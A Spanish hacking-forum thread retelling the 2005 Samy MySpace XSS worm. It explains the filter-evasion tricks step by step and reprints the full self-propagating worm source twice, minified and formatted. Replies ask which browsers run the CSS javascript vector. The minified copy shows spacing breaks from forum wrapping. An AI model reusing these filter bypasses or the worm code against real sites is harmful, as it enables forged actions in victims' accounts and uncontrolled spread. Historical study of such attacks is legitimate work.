Resultados 1 al 3 de 3

Tema: Hackeos Memorables: Samy is My Hero

  1. #1 Hackeos Memorables: Samy is My Hero 
    HH Administrator Avatar de LUK
    Fecha de ingreso
    Oct 2001
    Ubicación
    SpaÑa
    Mensajes
    5.050
    Descargas
    181
    Uploads
    247
    Octubre de 2005, Samy Kamkar, un joven hacker de 19 años quiere modificar su perfil en la nueva red social MySpace. Le gustaría poder añadir algo que el resto de usuarios no pudiesen tener, pero casualmente descubre una vulnerabilidad que le permite ejecutar código javascript, o por lo menos, así es como el mismo describía el hallazgo en una entrevista.

    La realidad seguramente sea otra, Samy había dedicado horas a estudiar el funcionamiento y los filtros que aplicaba la red social a todo el contenido que los usuarios podían añadir hasta que por fin encontró una forma de insertarlo saltándose todas las protecciones.

    La vulnerabilidad era un XSS persistente que explotaría con la creación del primer gusano en un servicio web. Todos los usuarios que visitasen su perfil modificarian el suyo añadiendo la frase "but most of all, samy is my hero." y añadiendo a Samy como amigo. En 24 horas Samy contaba con un 1.000.000 de solicitudes de amistad, convirtiéndose en el bicho con la propagación más rápida hasta la fecha.

    El suceso se convirtió rápidamente en noticia de todos los medios, haciendo referencia en sitios como Slashdot, The Register o The Guardian. Incluso se llegaron a vender camisetas como la de la imagen superior.




    Pese a que parece sencillo el proceso que Kamkar tuvo que desarrollar es digno de ser uno de los hackeos memorables más divertidos y didácticos. Los principales pasos y barreras que esquivó para lograr evadir todas las protecciones fueron estos once:
    • MySpace filtraba todas las etiquetas html menos <a>, <img> y <div> por lo que no se podía añadir contenido usando <script>s, <body> o los atributos onClicks, onAnythings, href con javascript, etcétera, aunque si permitia insertar CSS, que en algunos navegadores ejecuta jscript.
      Ejemplo: <div style="background:url('javascript:alert(1)')">

    • El siguiente problema era insertar comillas dobles en el código javascript, ya que se habían usado en la etiqueta div, tanto las simples como las dobles y no se podían volver a utilizar. Para solucionar el problema usó una expresión para almacenar el código y posteriormente ejecutarla.
      Ejemplo: <div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.al l.mycode.expr)')">

    • ¡¡Ya podía meter comillas simples!! otro pequeño filtro eliminaba la palabra "javascript", por lo que hubo que aprovechar que algunos navegadores la seguían procesando aunque estuviera compuesta con un retorno de linea en medio del tipo: java\nscript.
      Ejemplo: <div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">

    • Por desgracia también era necesario usar las comillas dobles y con lo visto anteriormente no era suficiente. Pero esta vez resultaría más sencillo utilizando su equivalente ASCII.
      Ejemplo: <div id="mycode" expr="alert('double quote: ' + String.fromCharCode(34))" style="background:url('javascript:eval(document.all.mycode.expr)')">

    • Para obtener el código de la página era necesario acceder a document.body.innerHTML, pero la cadena "innerHTML" también estaba filtrada, por lo que había que componerla con un eval() cada vez que se necesitase.
      Ejemplo: alert(eval('document.body.inne' + 'rHTML'));

    • Exactamente igual que en el punto anterior ocurría con la cadena onreadystatechange, necesaria para hacer peticiones GET y POST mediante XML-HTTP. Otro eval() solucionó el obstáculo.
      Ejemplo: eval('xmlhttp.onread' + 'ystatechange = callback');

    • En este punto se hacía el primer GET para obtener el código fuente de la página y la lista de amigos del usuario, que eran almacenados para la propagación. La búsqueda se ejecutaba contra la cadena "friendID".
      Ejemplo: var index = html.indexOf('frien' + 'dID');

    • Para añadir nuevos héroes hacía falta hacer un POST sobre una url que estaba en distinto subdominio, ya que todo el proceso se estaba ejecutando en profile.myspace.com y no sobre www.myspace.com donde se encontraba la función addFriends. En esta situación Samy recargaba la página que corresponde si el dominio no concuerda y posteriormente lanzaba el POST con la correcta.
      Ejemplo: if (location.hostname == 'profile.myspace.com') document.location = 'http://www.myspace.com' + location.pathname + location.search;

    • Antes de añadir un usuario era necesario encontrar un hash variable que hacía las funciones de token en una confirmación del tipo "¿Estás seguro que quieres añadir a Cris como amiga?", por lo que una nueva búsqueda en el código fuente y se vuelve a lanzar el POST.

    • El último paso era reproducir el código malicioso en los perfiles de los amigos, para lo que se hacen dos peticiones GET/POST nuevas

    • Por problemas de tamaño se ofuscó el código, se redujeron nombres de variables y se reutilizaron al máximo las funciones. Op-ti-mi-za-ci-ón
    Para los más curiosos el código original que se puso en el perfil es el siguiente:

    <div id=mycode style="BACKGROUND: url('java script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}cat ch(e){}if(C){return C}else{return eval('document.body.inne'+'rHTML')}}function getData(AU){M=getFromURL(AU,'friendID');L=getFromU RL(AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com'){docu ment.location='http://www.myspace.com'+location.pathname+location.search }else{if(!M){getData(g())}main()}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onr'+'eadystatechange=BI');J.open(BJ ,BH,true);if(BJ=='POST'){J.setRequestHeader('Conte nt-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=fals e}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE= AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes', '</td>');AG=AG.substring(61,AG.length);if(AG.indexOf( 'samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=profile.previewInterests&Myto ken='+AR,postHero,'POST',paramsToString(AS))}}}fun ction postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?fuseaction=profile.processInterests&Myto ken='+AR,nothing,'POST',paramsToString(AS))}functi on main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+A N+'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome, 'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&frien dID=11851658&Mytoken='+L,processxForm,'GET')}funct ion processxForm(){if(xmlhttp2.readyState!=4){return}v ar AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Myto ken='+AR,nothing,'POST',paramsToString(AS))}functi on httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}eval('xmlhttp2.onr'+'eadystatechange=BI');xm lhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.se tRequestHeader('Content-Type','application/x-www-form-urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return true}"></DIV>
    En las siguientes líneas se muestra de forma más limpia y clara:

    <div id=mycode style="BACKGROUND: url('java
    script:eval(document.all.mycode.expr)')" expr="

    var B = String.fromCharCode(34);
    var A = String.fromCharCode(39);

    function g()
    {
    var C;
    try
    {
    var D = document.body.createTextRange();
    C = D.htmlText
    }
    catch (e)
    {
    }
    if (C)
    {
    return C
    }
    else
    {
    return eval('document.body.inne' + 'rHTML')
    }
    }

    function getData(AU)
    {
    M = getFromURL(AU, 'friendID');
    L = getFromURL(AU, 'Mytoken')
    }

    function getQueryParams()
    {
    var E = document.location.search;
    var F = E.substring(1, E.length).split('&');
    var AS = new Array();
    for (var O = 0; O < F.length; O++)
    {
    var I = F[O].split('=');
    AS[I[0]] = I[1]
    }
    return AS
    }
    var J;
    var AS = getQueryParams();
    var L = AS['Mytoken'];
    var M = AS['friendID'];
    if (location.hostname == 'profile.myspace.com')
    {
    document.location = 'http://www.myspace.com' + location.pathname + location.search
    }
    else
    {
    if (!M)
    {
    getData(g())
    }
    main()
    }

    function getClientFID()
    {
    return findIn(g(), 'up_launchIC( ' + A, A)
    }

    function nothing()
    {
    }

    function paramsToString(AV)
    {
    var N = new String();
    var O = 0;
    for (var P in AV)
    {
    if (O > 0)
    {
    N += '&'
    }
    var Q = escape(AV[P]);
    while (Q.indexOf('+') != -1)
    {
    Q = Q.replace('+', '%2B')
    }
    while (Q.indexOf('&') != -1)
    {
    Q = Q.replace('&', '%26')
    }
    N += P + '=' + Q;
    O++
    }
    return N
    }

    function httpSend(BH, BI, BJ, BK)
    {
    if (!J)
    {
    return false
    }
    eval('J.onr' + 'eadystatechange=BI');
    J.open(BJ, BH, true);
    if (BJ == 'POST')
    {
    J.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    J.setRequestHeader('Content-Length', BK.length)
    }
    J.send(BK);
    return true
    }

    function findIn(BF, BB, BC)
    {
    var R = BF.indexOf(BB) + BB.length;
    var S = BF.substring(R, R + 1024);
    return S.substring(0, S.indexOf(BC))
    }

    function getHiddenParameter(BF, BG)
    {
    return findIn(BF, 'name=' + B + BG + B + ' value=' + B, B)
    }

    function getFromURL(BF, BG)
    {
    var T;
    if (BG == 'Mytoken')
    {
    T = B
    }
    else
    {
    T = '&'
    }
    var U = BG + '=';
    var V = BF.indexOf(U) + U.length;
    var W = BF.substring(V, V + 1024);
    var X = W.indexOf(T);
    var Y = W.substring(0, X);
    return Y
    }

    function getXMLObj()
    {
    var Z = false;
    if (window.XMLHttpRequest)
    {
    try
    {
    Z = new XMLHttpRequest()
    }
    catch (e)
    {
    Z = false
    }
    }
    else if (window.ActiveXObject)
    {
    try
    {
    Z = new ActiveXObject('Msxml2.XMLHTTP')
    }
    catch (e)
    {
    try
    {
    Z = new ActiveXObject('Microsoft.XMLHTTP')
    }
    catch (e)
    {
    Z = false
    }
    }
    }
    return Z
    }
    var AA = g();
    var AB = AA.indexOf('m' + 'ycode');
    var AC = AA.substring(AB, AB + 4096);
    var AD = AC.indexOf('D' + 'IV');
    var AE = AC.substring(0, AD);
    var AF;
    if (AE)
    {
    AE = AE.replace('jav' + 'a', A + 'jav' + 'a');
    AE = AE.replace('exp' + 'r)', 'exp' + 'r)' + A);
    AF = ' but most of all, samy is my hero. <d' + 'iv id=' + AE + 'D' + 'IV>'
    }
    var AG;

    function getHome()
    {
    if (J.readyState != 4)
    {
    return
    }
    var AU = J.responseText;
    AG = findIn(AU, 'P' + 'rofileHeroes', '</td>');
    AG = AG.substring(61, AG.length);
    if (AG.indexOf('samy') == -1)
    {
    if (AF)
    {
    AG += AF;
    var AR = getFromURL(AU, 'Mytoken');
    var AS = new Array();
    AS['interestLabel'] = 'heroes';
    AS['submit'] = 'Preview';
    AS['interest'] = AG;
    J = getXMLObj();
    httpSend('/index.cfm?fuseaction=profile.previewInterests&Myto ken=' +
    AR, postHero, 'POST', paramsToString(AS))
    }
    }
    }

    function postHero()
    {
    if (J.readyState != 4)
    {
    return
    }
    var AU = J.responseText;
    var AR = getFromURL(AU, 'Mytoken');
    var AS = new Array();
    AS['interestLabel'] = 'heroes';
    AS['submit'] = 'Submit';
    AS['interest'] = AG;
    AS['hash'] = getHiddenParameter(AU, 'hash');
    httpSend('/index.cfm?fuseaction=profile.processInterests&Myto ken=' +
    AR, nothing, 'POST', paramsToString(AS))
    }

    function main()
    {
    var AN = getClientFID();
    var BH = '/index.cfm?fuseaction=user.viewProfile&friendID=' + AN +
    '&Mytoken=' + L;
    J = getXMLObj();
    httpSend(BH, getHome, 'GET');
    xmlhttp2 = getXMLObj();
    httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&frien dID=11851658&
    amp;Mytoken=' + L, processxForm, 'GET')
    }

    function processxForm()
    {
    if (xmlhttp2.readyState != 4)
    {
    return
    }
    var AU = xmlhttp2.responseText;
    var AQ = getHiddenParameter(AU, 'hashcode');
    var AR = getFromURL(AU, 'Mytoken');
    var AS = new Array();
    AS['hashcode'] = AQ;
    AS['friendID'] = '11851658';
    AS['submit'] = 'Add to Friends';
    httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Myto ken=' +
    AR, nothing, 'POST', paramsToString(AS))
    }

    function httpSend2(BH, BI, BJ, BK)
    {
    if (!xmlhttp2)
    {
    return false
    }
    eval('xmlhttp2.onr' + 'eadystatechange=BI');
    xmlhttp2.open(BJ, BH, true);
    if (BJ == 'POST')
    {
    xmlhttp2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xmlhttp2.setRequestHeader('Content-Length', BK.length)
    }
    xmlhttp2.send(BK);
    return true
    }
    }"></DIV>
    Por desgracia, por esta "broma" a Samy le condenaron con una pena ejemplar de tres años de libertad condicional, 90 días de servicios para la comunidad y una multa económica de una cantidad desconocida.


    Seguramente sea una mala idea, pero podéis seguir a Kamkar en su twitter: @samykamkar.

    Referencias:

    Publicado por Alejandro Ramos en http://www.securitybydefault.com/201...s-my-hero.html
    [][][] LUK [][][]
    hackhispano.com
    Citar  
     

  2. #2  
    Medio
    Fecha de ingreso
    Sep 2008
    Mensajes
    134
    Descargas
    0
    Uploads
    0
    El post está bastante interesante, sobre todo para conocer algunos truquillos ingeniosos. El caso es que al ir probando algunas técnicas, el de background:url(código) no me sale ni en firefox ni en IExplore. Ahí pone que depende del navegador. ¿Sabéis en qué navegador/es funciona? El código de prueba es el siguiente:

    <div style="background:url('javascript:alert(1)')">HOLA </div>

    Gracias, un saludo.
    Citar  
     

  3. #3  
    Avanzado
    Fecha de ingreso
    Jan 2010
    Mensajes
    813
    Descargas
    1
    Uploads
    0
    Cita Iniciado por biyonder Ver mensaje
    El post está bastante interesante, sobre todo para conocer algunos truquillos ingeniosos. El caso es que al ir probando algunas técnicas, el de background:url(código) no me sale ni en firefox ni en IExplore. Ahí pone que depende del navegador. ¿Sabéis en qué navegador/es funciona? El código de prueba es el siguiente:

    <div style="background:url('javascript:alert(1)')">HOLA </div>

    Gracias, un saludo.
    Posiblemente Internet Explorer 6. Aquí hay un estudio muy bueno sobre la seguridad en los navegadores: http://code.google.com/p/browsersec/wiki/Main (clic en Part 1, Part 2, Part 3...). Según recuerdo hablaban de eso.
    Citar  
     

Marcadores

Marcadores

Permisos de publicación

  • No puedes crear nuevos temas
  • No puedes responder temas
  • No puedes subir archivos adjuntos
  • No puedes editar tus mensajes
  •